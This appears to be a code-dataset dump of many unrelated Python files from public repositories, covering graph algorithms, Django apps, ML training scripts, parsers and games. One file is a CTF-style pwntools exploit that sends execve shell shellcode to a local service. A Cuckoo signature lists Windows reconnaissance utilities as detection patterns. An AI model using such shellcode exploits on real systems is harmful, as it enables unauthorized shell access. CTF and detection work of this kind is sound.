seq_id
stringlengths
4
11
text
stringlengths
113
2.92M
repo_name
stringlengths
4
125
sub_path
stringlengths
3
214
file_name
stringlengths
3
160
file_ext
stringclasses
18 values
file_size_in_byte
int64
113
2.92M
program_lang
stringclasses
1 value
lang
stringclasses
93 values
doc_type
stringclasses
1 value
stars
int64
0
179k
dataset
stringclasses
3 values
pt
stringclasses
78 values
5633622240
from __future__ import division ''' Created on Jan 5, 2013 @author: RAN ''' from copy import deepcopy """A basic module for measuring betweenness in the graph.""" from graph import Graph from Queue import Queue class Betweenness(): """ Computes the betweenness centrality of all vertices. Implem...
gran33/Complex_Network_EX3_repo
ComplexNetwork_Ex3/betweenness.py
betweenness.py
py
6,992
python
en
code
1
github-code
36
7208980234
#!/usr/bin/env python from os import system as s import json player = "mpv" with open("n_list.json") as l: ip_tv = json.load(l) jml_channel = (len(ip_tv["tv"])) channel = [] url = [] for i in range(0, len(ip_tv["tv"])): list_channel = ip_tv["tv"][i]["channel"] list_url = ip_tv["tv"][i]["url"] channel.a...
mnabila/n-tv
ntv.py
ntv.py
py
1,446
python
en
code
0
github-code
36
72687150185
# Crea un programa que pida al usuario dos números y muestre el resultado de su división. # Si el segundo número es 0, debe mostrar un mensaje de error. def resultado(): operacion = num1/num2 return operacion num1 = float(input("Ingrese un numero: ")) num2 = float(input("Ingrese el segundo numero: ")) if num2...
federicosuarez89/ejercicios-python
Condicional If Else/Ejercicio3.py
Ejercicio3.py
py
436
python
es
code
0
github-code
36
35879930969
from pwn import * import time #p=process('./square') p=remote('127.0.0.1', 44401) time.sleep(1) email_offset=0x4040E0 print(p.recv()) shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" p.sendline(shellcode) print(p.recv()) p.sendline('qwer') for i...
acisoru/isetctf-2020
quals/pwn/square/exploit_square.py
exploit_square.py
py
492
python
en
code
6
github-code
36
23315414573
from subprocess import Popen, PIPE, STDOUT from quickunit.diff import DiffParser from quickunit.vcs.base import ChangedFile def parse_commit(parent=None): if parent is None: parent = 'master' proc = Popen(['git', 'merge-base', 'HEAD', parent], stdout=PIPE, stderr=STDOUT) parent_revision = proc....
dcramer/quickunit
quickunit/vcs/git.py
git.py
py
926
python
en
code
34
github-code
36
31694708083
# file: whatModules.py # prompt for the name of a python file and # print the names off all the modules it imports path = input("Enter a script name: ") try: f = open(path) modules = [] for line in f: # print(line, end = "") #temp words = line.split() # print(words) #temp i...
namntran/2021_python_principles
20_files/whatModules/whatModules.py
whatModules.py
py
826
python
en
code
0
github-code
36
28257810591
# Escribí un programa que obtenga, a partir de una lista de strings # una lista con la longitud de esas strings e imprima la longitud # de la lista de strings y los elementos de la lista de longitudes lista = ["uno", "dos", "tres", "cuatro", "cinco"] lista1 = [] for i in lista: lista1.append(len(i)) contador = 0 f...
nicoaizen/Fundamentos_de_informatica_Aizen
practica_repaso/ej3.py
ej3.py
py
454
python
es
code
0
github-code
36
33675884915
import sys def parse(input_): file = open("./assgn2_20171099.txt","w+") lines = input_.split('\n') linenumber = 0 lines.sort(key=len) for line in lines: linenumber+=1 tokennumber = 0 tokens = line.split(' ') for token in tokens: tokennumber += 1 ...
hellomasaya/linguistics-data
tokenise.py
tokenise.py
py
583
python
en
code
0
github-code
36
38987540180
import pyrtfolio from pyrtfolio.StockPortfolio import StockPortfolio def test_package(): """ This function tests both the authorship and version of pyrtfolio. """ print(pyrtfolio.__author__) print(pyrtfolio.__version__) def test_stock_portfolio(): """ This functions tests the basic crea...
alvarobartt/pyrtfolio
tests/test_stock_portfolio.py
test_stock_portfolio.py
py
1,039
python
en
code
139
github-code
36
42871257105
import sys import json from typing import List import urllib.request import os import glob from rulekit.experiment import ExperimentRunner from rulekit import RuleKit dir_path = os.path.dirname(os.path.realpath(__file__)) def download_rulekit_jar(): release_version = 'latest' current_rulekit_ja...
cezary986/complex_conditions
src/utils/rulekit/__main__.py
__main__.py
py
2,384
python
en
code
0
github-code
36
71103649063
import pygame from pygame.rect import * from pygame.locals import * BLACK = (0, 0, 0) GRAY = (127, 127, 127) WHITE = (255, 255, 255) RED = (255, 0, 0) GREEN = (0, 255, 0) BLUE = (0, 0, 255) YELLOW = (255, 255, 0) CYAN = (0, 255, 255) MAGENTA = (255, 0, 255) SIZE = 600,600 imagePath = "Capitulo_4/python.png" running...
ArturBizon/estudo-pygame
Capitulo_4/ManipulacaoDeImagem.py
ManipulacaoDeImagem.py
py
2,233
python
en
code
0
github-code
36
6995324450
from lib.cuckoo.common.abstracts import Signature utilities = [ "at ", "at.exe", "attrib", "chcp", "del ", "del.exe", "dir ", "dir.exe", "driverquery", "erase ", "erase.exe", "fsutil", "getmac", "ipconfig", "nbtstat", "net ", "net.exe", "netsh", ...
cuckoosandbox/community
modules/signatures/windows/windows_utilities.py
windows_utilities.py
py
4,845
python
en
code
312
github-code
36
25625685943
from collections import defaultdict class Classy: def __init__(self): self.head = defaultdict() def createTrie(self, phases): if not phases: return 0 for word in phases: temp = self.head for each in word.split(): if each not in temp: ...
Akashdeepsingh1/project
2020/Stream&Phase2.py
Stream&Phase2.py
py
1,765
python
en
code
0
github-code
36
24019479027
# Author: Yuchen Liu HID213, Wenxuan Han HID209, Junjie Lu HID214 # Data: 2017.12.01 # Reference: http://blog.csdn.net/tinkle181129/article/details/55261251 from datetime import datetime import matplotlib.pyplot as plt import pandas as pd from numpy import * from sklearn import svm from sklearn import tree ...
bigdata-i523/hid209
project/code/523Project.py
523Project.py
py
4,677
python
en
code
1
github-code
36
4500634495
""" This unittest tests the parsing of locally saved linkbases """ import unittest from xbrl.linkbase import parse_linkbase, Linkbase, LinkbaseType class LinkbaseTest(unittest.TestCase): def test_label_linkbase(self): """ Unit test for linkbase.parse_linkbase() """ linkbase_path: ...
manusimidt/py-xbrl
tests/test_local_linkbase.py
test_local_linkbase.py
py
1,631
python
en
code
78
github-code
36
808079657
from math import log2 x = -1 l = [] while x != 0: x = int(input()) l.append(x) l.pop() potenza = True for i in range(len(l)): if log2(l[i])%1 != 0: potenza = False if potenza: print("SI", end = "") else: print("NO", end = "")
itsmexp/UNICAL-FondamentiDiProgrammazione-1
Programmi/N39.py
N39.py
py
279
python
en
code
1
github-code
36
33610092826
import pygame,sys from pygame.locals import * class MySprite(pygame.sprite.Sprite): def __init__(self,target): pygame.sprite.Sprite.__init__(self) self.master_image = None self.frame =0 self.old_frame=-1 self.frame_width=1 self.frame_heiget=1 self.first_frame...
Ywp185/Planewar_workhouse
MySprite.py
MySprite.py
py
2,810
python
en
code
0
github-code
36
21568445182
class CsvWriter: """Статический класс с описанием методов для записи данных в csv файл.""" @staticmethod def write(path, header, data): """Запись в csv файл. Args: path: путь к файлу для записи. header: заголовк csv файла. data: данные для записи. ...
prytkovm/CourseWork-Parser
src/parser/tools/csv_writer.py
csv_writer.py
py
734
python
ru
code
0
github-code
36
16814515783
import sys import csv tableName = sys.argv[1] addressMain = sys.argv[2] address = {} address["MiblpXu"] = addressMain + "/MIBLP-XU/" address["IblpDen"] = addressMain + "/RANDOM/RAND_BILEVEL/" address["IblpFis"] = addressMain + "/IBLP-FIS/" if tableName == "table3.csv": mainColNum = 5 dataSet = ["IblpDen", "...
coin-or/MibS
scripts/analyze/table/makeRawDataTable.py
makeRawDataTable.py
py
4,796
python
en
code
44
github-code
36
4778471079
from typing import Tuple, Sequence from functools import partial, reduce import operator import jax import jax.numpy as jnp from transformer_engine_jax import DType as TEDType from .cpp_extensions import cast_transpose, gemm, jax_dtype_to_te_dtype from .fp8 import FP8Helper, FP8GemmPackage from .sharding import Shardi...
NVIDIA/TransformerEngine
transformer_engine/jax/dot.py
dot.py
py
9,710
python
en
code
1,056
github-code
36
74566852583
from typing import List class Solution: """ 日期:2023-08-04 作者:仲景 """ def longestCommonPrefix(self, strs: List[str]) -> str: res = strs[0] for i in range(1, len(strs)): res = twoStrLongestCommonPrefix(res, strs[i]) return res def twoStrLon...
ZhongJing0121/LeetCode
LeetCode_14/Solution_ZhongJing.py
Solution_ZhongJing.py
py
723
python
en
code
2
github-code
36
14326817074
__author__ = 'Xin' #Python Algorithms- Mastering Basic Algorithms in the Python Language, Page 78 # Eight persons with very particular tastes have bought tickets to the movies. # Some of them are happy with their seats, but most of them are not, # and after standing in line in Chapter 3, they’re getting a bit grumpy. #...
jinxin0924/Algorithms-Design-and-Analysis
maximum_permutation.py
maximum_permutation.py
py
1,526
python
en
code
1
github-code
36
33712065349
import random import os from coffee_data import MENU, resources choice = "" money = 0 total = 0 def clear_screen(): os.system('cls' if os.name == 'nt' else 'clear') def return_resources(): return resources def format_resource(account): global money water = account['water'] milk = account['mi...
Aymmaann/Python_Projects
Coffee Machine/coffee_machine.py
coffee_machine.py
py
2,268
python
en
code
0
github-code
36
6860598396
# -*- coding: utf-8 -*- # @Time : 2022/9/14 # @Author : youjiangyong # @File : test_hotSpotRank.py import allure import pytest from Common.Base import base from Config.path_config import PathMessage import os,jsonpath,datetime,random def get_timestamp(): timestamp = datetime.datetime.now().replace(hour=9, m...
zhangmin123312/zhangmin
Testcase/aweme_material/test_rank_hotSpot.py
test_rank_hotSpot.py
py
1,425
python
en
code
0
github-code
36
4107996807
import sys from bisect import bisect_right input = sys.stdin.readline n, r = [int(x) for x in input().split()] numbers = [int(x) for x in input().split()] maxFit = 0 numbers.sort() for i in range(n): ind = bisect_right(numbers, numbers[i] + r) - 1 maxFit = max(maxFit, ind - i + 1) print(maxFit)
AAZZAZRON/DMOJ-Solutions
cpc19c1p2.py
cpc19c1p2.py
py
306
python
en
code
1
github-code
36
40477310437
from django.urls import path, include from estado.views import demonio_print from estado.views import Estadoview,Estadoinsertar,Estadoeditar,Estadoeliminar,Partecuerpoview,Partecuerpoinsertar,Partecuerpoeditar,Partecuerpoeliminar,Detallecuerpoview,Detallecuerpoinsertar,Detallecuerpoeditar,Detallecuerpoeliminar,Demonio...
MrDavidAlv/FullStack_python_Django_postgreSQL
guerrero/estado/urls.py
urls.py
py
2,109
python
es
code
1
github-code
36
18962077282
import os import math import string input_file = open("Day 8 - Treetop Tree House\input.txt", "r") trees_arr = [] row_ctr = 0 for line in input_file: chars = [] for char in line.strip(): chars.append(char) trees_arr.append(chars) row_ctr += 1 row = 1 max_row = len(trees_arr) - 1 max_col = le...
rgvillanueva28/advent-of-code-2022
Day 8 - Treetop Tree House/Part 1.py
Part 1.py
py
2,157
python
en
code
1
github-code
36
9476101469
import os from random import randint from time import time import subprocess from datetime import datetime from shutil import rmtree from db.models import UserRegisteredContest,Contest,ContestProblem,Problem,Submission,Admin,User from bson.objectid import ObjectId from platform import system from flask import current_...
Harjacober/HackAlgo
coderunner/task.py
task.py
py
16,600
python
en
code
1
github-code
36
32366675298
mes=int(input('ingrese mes [1-12]:')) anio=int(input('ingrese año:[<?1900]')) mes_valido=False while not mes_valido : try: mes=int(input('ingrese mes [1-12]:')) if mes>= 1 and mes <=12: mes_valido=True else: print('error el mes ingresado debe estar en el rang...
masteronprime/python-codigos-diversos
calendario.py
calendario.py
py
2,211
python
es
code
2
github-code
36
40657050860
import tensorflow as tf import tensorlayer as tl import numpy as np import scipy import time import math import argparse import random import sys import os from termcolor import colored, cprint from model_dual import model_dual as model_net import dataLoad_dual as dataLoad from time import gmtime, strftime import p...
betairylia/NNParticles
predict_dual.py
predict_dual.py
py
8,640
python
en
code
0
github-code
36
19465932949
''' 爬取百度贴吧 ''' #!/usr/bin/env python #coding=utf-8 import urllib.request as request import re class BDTB(object): def __init__(self,baseUrl,param,indexPage,floorTag): #基础URL self.baseUrl=baseUrl #是否只看楼主 self.param='?see_lz='+str(param) #页码 self.indexPage=inde...
zhongyoub/pythonSpider
src/pythonSpider/baidu_tieba.py
baidu_tieba.py
py
5,020
python
en
code
0
github-code
36
4414524843
n = int(input()) a = [] b = [] for i in range(n): x, y = map(int, input().split()) a.append(x) b.append(y) d = max(a) e = b[a.index(max(a))] print(d + e)
burioden/atcoder
submissions/tenka1-2017-beginner/b.py
b.py
py
164
python
en
code
4
github-code
36
9144803761
import pytest from qhub.render import render_default_template @pytest.mark.parametrize('config_filename', [ 'tests/assets/config_aws.yaml', 'tests/assets/config_gcp.yaml', 'tests/assets/config_do.yaml', ]) def test_render(config_filename, tmp_path): output_directory = tmp_path / 'test' output_dir...
terminal-labs/qhub-kubernetes
tests/test_render.py
test_render.py
py
404
python
en
code
0
github-code
36
6484108617
""" Data Analytics II: Simulation Study Functions. Author: Arbian Halilaj, 16-609-828. Spring Semester 2022. University of St. Gallen. """ # load the required functions import numpy as np import statsmodels.api as sm import pandas as pd from sklearn.linear_model import LinearRegression import matplotlib.pyplot as pl...
akapedan/Causal_Econometrics
functions.py
functions.py
py
8,216
python
en
code
0
github-code
36
29307491629
import time, math, config from machine import Pin, ADC mtr_enable = Pin('P20', mode=Pin.OUT) snsr_enable = Pin('P19', mode=Pin.OUT) adc = ADC() adc.vref(config.level_vref) sensor = adc.channel(pin='P13', attn=ADC.ATTN_11DB) def purge(purge_for = 1): """ Purge air from the tube for given number of seconds """ ...
tobz-nz/firmware
lib/level.py
level.py
py
2,374
python
en
code
0
github-code
36
21200829619
# coding: utf-8 import json import traceback from collections import deque import requests import time from threading import Event, Thread, Lock from datetime import datetime, timedelta from datetime import time as datetime_time import copy import yaml import os from socket import socket, AF_INET, SOCK_DGRAM, SOCK_STRE...
PP-lib/BFS
BFS-X/libs/parameters.py
parameters.py
py
19,180
python
en
code
2
github-code
36
24921295985
#SETUP #Import Modules import discord from discord.ext import commands from discord.ext import tasks import os from dotenv import load_dotenv import math import datetime import _pickle import xlwings #Load the Token and Create a Bot load_dotenv(); TOKEN = os.getenv('ULTIMATEPC_TOKEN'); ...
BlockMaster320/Ultimate-PC-Discord-Bot
Ultimate PC Bot.py
Ultimate PC Bot.py
py
51,121
python
en
code
0
github-code
36
6389221629
import sys import random def primeTest(n: int): isPrime = True sqrt = n**(0.5) if n == 2: return True elif ((n % 2) == 0) or (n == 1): isPrime = False i = 3 while isPrime and i <= sqrt: if (n % i) == 0: isPrime = False i += 2 return isPrime def...
Cerozob/ISIS4208-RSA
RSA.py
RSA.py
py
2,756
python
en
code
0
github-code
36
71893420264
#!/usr/bin/python3 """ Write a script that adds the State object “Louisiana” to the database hbtn_0e_6_usa """ import sys from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker from model_state import Base, State if __name__ == "__main__": engine = create_engine( 'mysql+mysqldb://{}:{...
ericpo1sh/holbertonschool-higher_level_programming
python-object_relational_mapping/11-model_state_insert.py
11-model_state_insert.py
py
776
python
en
code
0
github-code
36
32555585927
from cvxpy import * from cvxpy.tests.base_test import BaseTest class TestSolvers(BaseTest): """ Unit tests for solver specific behavior. """ def setUp(self): self.a = Variable(name='a') self.b = Variable(name='b') self.c = Variable(name='c') self.x = Variable(2, name='x') ...
riadnassiffe/Simulator
src/tools/ecos/cvxpy/cvxpy/tests/test_solvers.py
test_solvers.py
py
5,663
python
en
code
0
github-code
36
17631143198
import pandas as pd import numpy as np # import seaborn as sb import matplotlib.pyplot as plt import statsmodels.formula.api as sm from sklearn.model_selection import train_test_split # train and test from sklearn import metrics from sklearn.metrics import classification_report #Importing Data claimants1 = pd.read_...
mdshaji/Logistic_Regression
LogisticRegression_Claimants.py
LogisticRegression_Claimants.py
py
2,573
python
en
code
0
github-code
36
9210248768
import discord from redbot.core import commands, checks from redbot.core.utils.menus import menu, DEFAULT_CONTROLS from .core import Core class Space(Core): """Show pics of space.""" @commands.group() @checks.mod_or_permissions(manage_channels=True) async def spaceset(self, ctx: commands.Context): ...
kennnyshiwa/kennnyshiwa-cogs
space/space.py
space.py
py
5,376
python
en
code
19
github-code
36
17177496153
from indexes.single_indexes.hnsw_hnswlib import HnswHnswlib from indexes.testers.TimeStats import BuildTimeStats, QueryTimeStats from indexes.utils.dataset import BasicDataset from indexes.utils.distance_function import l2distance import Index from sklearn.cluster import KMeans from overrides import overrides from typ...
war-and-peace/dss
indexes/distributed_indexes/KMeansIndex.py
KMeansIndex.py
py
3,703
python
en
code
0
github-code
36
22198149805
#!/usr/bin/env python3 """parser: SignWriting string parse functions Define various regular expressions and use them to validate SignWriting strings. """ import re SYMBOL_BLOCK = 'S[123][0-9a-f]{2}[0-5][0-9a-f]' COORD_BLOCK = 'n?[0-9]+xn?[0-9]+' POS_COORD_BLOCK = '[0-9]+x[0-9]+' re_word = ( '(A(' + SYMBOL_BLOC...
Anaphory/swip
swip/parser.py
parser.py
py
12,530
python
en
code
0
github-code
36
34654982980
from .bot import Bot from ..direction import Direction from ..tile import Booth from .algs import BFS class RealisticBot(Bot): """ RealisticBot aims for the smaller companies because it has the best chance of getting a job from a smaller company. It will not visit the same company twice, because there ...
cuebeomc/AWAP2019-codebase
src/awap2019/awap2019/bots/realistic.py
realistic.py
py
2,363
python
en
code
5
github-code
36
13988824108
class Solution: def count(self, nums: list[int]) -> tuple[int, int]: prev = None cnt = 0 maxCnt, totCnt = -inf, 0 for x in chain(nums, [0]): if x == prev: cnt += 1 else: if cnt > 0: maxCnt = max(maxCnt, cnt) ...
dariomx/topcoder-srm
leetcode/trd-pass/hard/divide-array-into-increasing-sequences/divide-array-into-increasing-sequences.py
divide-array-into-increasing-sequences.py
py
602
python
en
code
0
github-code
36
74059845544
# Largely stolen from https://github.com/jmoiron/humanize (MIT) from datetime import datetime, timedelta def _ngettext(message, plural, num): return message if num == 1 else plural def _now(): return datetime.now() def abs_timedelta(delta): """Returns an "absolute" value for a timedelta, always repre...
facultyai/faculty-sync
faculty_sync/screens/humanize.py
humanize.py
py
4,625
python
en
code
10
github-code
36
29467412193
import urllib.parse from flask import request from sqlalchemy import select from FashionCampus.database import session from FashionCampus.common import get_image_url from FashionCampus.model import Product, ProductImage from FashionCampus.api.blueprints import home @home.route('/home/banner', methods = ['GET']) de...
michaelrk02/FashionCampus
api/home/get_banner.py
get_banner.py
py
866
python
en
code
1
github-code
36
2465730198
import copy import cv2 import glob import os import pathlib import sys import time import xml import xml.etree.ElementTree as ET from . import utils from .. import procs # Add import path for submodules currentdir = pathlib.Path(__file__).resolve().parent sys.path.append(str(currentdir) + "/../../submodules/separate_...
ndl-lab/ndlocr_cli
cli/core/inference.py
inference.py
py
30,875
python
ja
code
325
github-code
36
947588342
pkgname = "weechat" pkgver = "4.0.5" pkgrel = 0 build_style = "cmake" configure_args = [ # no guile available "-DENABLE_GUILE=False", # no php available "-DENABLE_PHP=False", # no v8 available "-DENABLE_JAVASCRIPT=False", # no, aspell available "-DENABLE_ENCHANT=True", # missing depe...
chimera-linux/cports
contrib/weechat/template.py
template.py
py
1,522
python
en
code
119
github-code
36
4991938877
import copy class Arguments: def __init__(self): self.batch_size = 64 self.test_batch_size = 64 self.local_epochs = 2 self.lr = 0.0005 self.save_model = True self.global_round = 200 # 'cifar10' 'mnist' self.dataset_name = 'cifar10' if self....
Soak-rar/CFL
Args.py
Args.py
py
4,937
python
en
code
0
github-code
36
11625971052
from typing import List class Contact(): all_contacts: List["Contact"] = [] def __init__(self,nombre: str,email: str): self.nombre = nombre self.email = email Contact.all_contacts.append(self) def __repr__(self)->str: return (f"ClassName: {self.__class__.__name__}...
ujpinom/python-advanced
oop/Intro/inheritance.py
inheritance.py
py
764
python
es
code
0
github-code
36
6108547118
from qtc.imports import * from qtc.data.utils import Vocab, _prepare_labels from qtc.featurizers import SpacyFeaturizer __all__ = ["TextClassifierData"] class TextClassifierData(Dataset): """ This class provides labels and tokenized and vectorized text """ def __init__(self, texts, labels, model="en...
rahulk786/quickTextCassifier
qtc/data/classifier_data.py
classifier_data.py
py
3,296
python
en
code
null
github-code
36
18108370652
#!/usr/bin/env python3 from pynput import keyboard as kb import rospy from std_msgs.msg import String rospy.init_node("teclas") pub = rospy.Publisher("/voice_ui", String, queue_size=10) def callback(tecla): s = String() print("Se ha pulsado la tecla ") if(str(tecla) == "'r'"): print("R"...
DanielFrauAlfaro/Proyecto_Servicios
controllers/scripts/teclas.py
teclas.py
py
655
python
en
code
0
github-code
36
75260503145
import json, jsonlines class vocab(): def __init__(self): self.word2index = {} self.word2count = {} self.index2word = [] self.n_words = 0 # Count word tokens self.num_start = 0 def add_sen_to_vocab(self, sentence): # add words of sentence to vocab for word in se...
ttt-77/CS546_project
preprocess/pre_data.py
pre_data.py
py
5,813
python
en
code
0
github-code
36
1534341836
from __future__ import annotations from typing import Optional from urllib.parse import urlencode from jupyterhub.tests.utils import async_requests, public_host from jupyterhub.utils import url_path_join from traitlets import Unicode, default from jupyterhub_moss import MOSlurmSpawner def request( app, meth...
silx-kit/jupyterhub_moss
test/utils.py
utils.py
py
1,809
python
en
code
14
github-code
36
14263365350
from django.shortcuts import render from django.http import HttpResponse from orders.models import * import csv from django.http import HttpResponse, JsonResponse # Create your views here. def exportOrders(request): response = HttpResponse(content_type='text/csv') writer = csv.writer(response) writer.write...
jeffjcb/southcartel-app
southcartel/reports/views.py
views.py
py
1,390
python
en
code
1
github-code
36
30395166391
import numpy as np import torch import torch.nn as nn import torch.nn.functional as F #from collections import OrderedDict import matplotlib.pyplot as plt #import torch.optim as optim import math import random def plot3D(imgA,imgB,l1,l2,dim,mode="max"): if mode == "max": img2D_A,_ = torch.max(imgA[0,l1,:...
febrianrachmadi/BIA_ATLAS2
deep_patchwork/pw/vis.py
vis.py
py
3,013
python
en
code
1
github-code
36
70480534505
import numpy as np from tqdm import tqdm from tools import augment_cluster class InversionAugmentor(object): """docstring for InversionAugmentor.""" def __init__(self, waveforms = None, earthquake_parameters = None, new_elements=2, parameter_variation=0.2, additional_weight = False): super(InversionA...
alexmundt/augmentation-tools
inversion_augmentation.py
inversion_augmentation.py
py
5,611
python
en
code
0
github-code
36
846856008
import itertools from subprocess import call import chainer import chainer.functions as F import chainer.links as L import numpy as np from chainer import serializers from chainer.backends import cuda from util import invLIDAR class RecoNet(chainer.Chain): def __init__(self, n_hid1=100, n_hid2=50): supe...
pfnet-research/rp-safe-rl
circuit/estimator.py
estimator.py
py
1,753
python
en
code
7
github-code
36
29117927396
from flask import Flask,request from sklearn.pipeline import Pipeline import numpy as np import joblib import json app = Flask(__name__) # inisialize predected volume predected_data = 0.0 # load pipeline pipeline = joblib.load('transform_predict.joblib') @app.route("/", methods=["POST", "GET"]) def home(): ...
MEZZINE-1998/ML-app-for-traffic-prediction-with-Azure-DevOps
app.py
app.py
py
1,203
python
en
code
0
github-code
36
24499826950
from django.shortcuts import render, redirect from .models import Notes, Teacher ,Student, Pdfbooks, Papers, User, Answer, Post from .forms import ContributionNoteForm, SignUpForm, ContributionBookForm,SignUpFormFaculty, PostForm, AnswerForm, ContributionPaperForm from django.contrib.auth import authenticate, login, lo...
TanuAgrawal123/StudyApp
Notes/views.py
views.py
py
10,440
python
en
code
5
github-code
36
73313383785
# %% import numpy as np import pandas as pd import torch import os from matplotlib import pyplot as plt colors2 = ['#FD6D5A', '#FEB40B', '#6DC354', '#994487', '#518CD8', '#443295'] line_styles = ['-', '--', '-', '--', '-', '--'] color = ['red', 'blue', '#FEB40B'] n = 5 length = 50 filenames = [ 'results/fed_avg_...
zhengLabs/FedLSC
painting/compare_test2.py
compare_test2.py
py
1,273
python
en
code
1
github-code
36
34100826842
def fib_sum_to_num(to_num): res = 0 cnt = 0 fib_sum = fibonacci(cnt) while fib_sum <= to_num: if fib_sum % 2 == 0: res += fib_sum cnt += 1 fib_sum = fibonacci(cnt) return res def fibonacci(to_num): if to_num == 1: return 1 if to_num == 0: ...
ArthurRennert/project-euler
Problem2.py
Problem2.py
py
451
python
en
code
0
github-code
36
35842733652
import os import numpy as np os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cafe_star_project.settings') import django django.setup() from CafeStar.models import User, Drink, Order, ShopStatus def populate(): drinks = [ {'DrinkID': 0, 'Name': 'Latte', 'Picture...
zhengx-2000/CafeStar
populate_cafestar.py
populate_cafestar.py
py
3,038
python
en
code
1
github-code
36
1140966999
import glob try: from target_mag import get_target_mag except ImportError: from drprc.target_mag import get_target_mag try: import fitsutils except ImportError: import drprc.fitsutils as fitsutils flist = glob.glob('rc*.fits') flist.sort() phot_zp = {'u': None, 'g': None, 'r': None, 'i': None} for r...
scizen9/sedmpy
bin/do_phot.py
do_phot.py
py
942
python
en
code
5
github-code
36
17110975140
class TreeNode: def __init__(self, name, desgination): self.name = name self.desgination = desgination self.children = [] self.parent = None def add_child(self, child): child.parent = self self.children.append(child) def get_level(self): ...
amrmabdelazeem/Data-Structure
GeneralTree1.py
GeneralTree1.py
py
1,954
python
en
code
0
github-code
36
30625978992
# kontakti u pythonu # tuple unutar neke druge tuple ne gube svoj identitet (tj i dalje su - tuple, a ne pojedinačni objekti koji su sačinjavali staru tuplu). Možemo pristupiti stavkama unutar tuple navodeći položaj te stavke u paru # uglastih zagrada baš kao što smo uradili za liste. Ovo se zove operator indeksiranja...
mifa43/Python
Recnik-Dictionary/Recnik_Dictionary.py
Recnik_Dictionary.py
py
2,587
python
sr
code
1
github-code
36
30788414702
import sys input = sys.stdin.readline N = int(input()) result = 0 target = list(map(int, input().split())) for i in target: count = 0 if i < 2: continue for j in range(2, i): if i % j == 0: count += 1 if count == 0: result += 1 print(result)
sojungpp/Algorithm
백준/Bronze/1978. 소수 찾기/소수 찾기.py
소수 찾기.py
py
311
python
en
code
0
github-code
36
10677267231
import logging from datetime import datetime import flask_rebar from flask_rebar import errors from app.app import v1_registry from app.entities.author import Author from app.schemas.request.author import AuthorRequestSchema from app.schemas.response.author import AuthorResponseSchema from app.services import author ...
Sunoyon/flask-foundation-service
app/controllers/author.py
author.py
py
2,388
python
en
code
0
github-code
36
71804654824
import pygame import time import random pygame.init() wh = (255, 255, 255) # White ye = (255, 255, 102) # Yellow bk = (0, 0, 0) # Black re = (213, 50, 80) # Red gr = (0, 255, 0) # Green bl = (50, 153, 213) # Blue screenWidth = 600 screenHeight = 400 display = pygame.display.set_...
Feleur/Snake
main.py
main.py
py
3,541
python
en
code
0
github-code
36
34488348302
#!/usr/bin/env python import sys base_graph = sys.argv[1] unrolled_graph = sys.argv[2] # mapping to stdout existing_nodes = set() with open(base_graph) as f: for l in f: parts = l.strip().split("\t") if parts[0] == "S": existing_nodes.add(parts[1]) with open(unrolled_graph) as f: for l in f: parts = l.st...
marbl/verkko
src/scripts/get_unroll_mapping.py
get_unroll_mapping.py
py
586
python
en
code
221
github-code
36
32910781669
from pyspark import SparkContext, SparkConf from pyspark.sql import Row, SQLContext if __name__ == "__main__": conf = SparkConf() conf.setAppName("MinhaAPP") sc = SparkContext(conf=conf) linhas = sc.textFile('hdfs://elephant:8020/user/labdata/pessoas.txt') cols = linhas.map(lambda linha: linha....
dinomagri/cluster-conf-labdata
testing/minhaapp.py
minhaapp.py
py
838
python
pt
code
1
github-code
36
13258179603
def checkio(land_map): def get_neighbors(of_index): shift_row, shift_col = [(-1, 0, 1)] * 2 for row in range(3): for col in range(3): current_row = abs(of_index[0] - shift_row[row]) current_col = abs(of_index[1] - shift_col[col]) v...
Amaimersion/CheckiO-solutions
solutions/Scientific Expedition/Calculate Islands/1.py
1.py
py
2,273
python
en
code
0
github-code
36
44156571393
import importlib import model.trainer import data.VCTK import torch import signal if __name__ == "__main__": dataset = data.VCTK.VCTKDataset( text_file_paths=["resources/tomscott/txt/tomscott.txt"], audio_file_paths=["resources/tomscott/wav48/tomscott.wav"] ) print(f"Loaded {len(dataset)} e...
CISC-867/Project
afktrain-targeted.py
afktrain-targeted.py
py
1,091
python
en
code
0
github-code
36
19793680016
import logging import gevent from binascii import hexlify from steam.client import SteamClient from steam.core.msg import MsgProto from steam.enums.emsg import EMsg from steam.utils.proto import proto_to_dict import vdf LOG = logging.getLogger("Steam Worker") class SteamWorker(object): def __init__(self): ...
ValvePython/steam
recipes/2.SimpleWebAPI/steam_worker.py
steam_worker.py
py
3,921
python
en
code
934
github-code
36
28021136478
import tensorflow as tf # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> def explogTVSK_loss_v2(gt, pred, weight=120, w_d=.8, w_c=.2, gm_d=.3, gm_c=.3, alpha=.1, beta=.9, eps=1., ): ''' {} ''' gt = tf.cast(gt, ...
suiyutong95/TF_model_pruning
model_zoo/losses/explogTVSK.py
explogTVSK.py
py
2,484
python
en
code
3
github-code
36
17561622831
def informa_numero(): n = 1 while n < 2: try: n = int(input("Me informe um número maior ou igual a 2: ")) except: print("Você não me informou um número. Tente novamente.") return n def primalidade(n): count = 1 divisores = 0 while count <= n: ...
wpaulow/coursera-python-1
funcao-contaPrimos.py
funcao-contaPrimos.py
py
712
python
pt
code
0
github-code
36
4090267017
# This code is mostly from here: https://thedatafrog.com/en/articles/word-embedding-sentiment-analysis/ # Adapted for Ling471 by Olga Zamaraeva # May 2021 import matplotlib.pyplot as plt import os import math # you must install tensorflow version 2.5.0 (the latest one) import tensorflow as tf from tensorflow import ke...
sam-testings/Ling471-SP2021-HW5
imdb_neural.py
imdb_neural.py
py
6,831
python
en
code
0
github-code
36
124921782
from unittest import TestCase import main from main import chord_extractor import unittest import random class SongConverterTest(unittest.TestCase): def test_basic_chord_detection(self): expected = ["A", "B", "C"] self.assertEqual(chord_extractor.extract_chords("(A)Hello (B) World\n(C)"), expected...
fahran/ukebook-scratchpad
formatting-experiment/test/test_chord_extractor.py
test_chord_extractor.py
py
3,022
python
en
code
0
github-code
36
28557630081
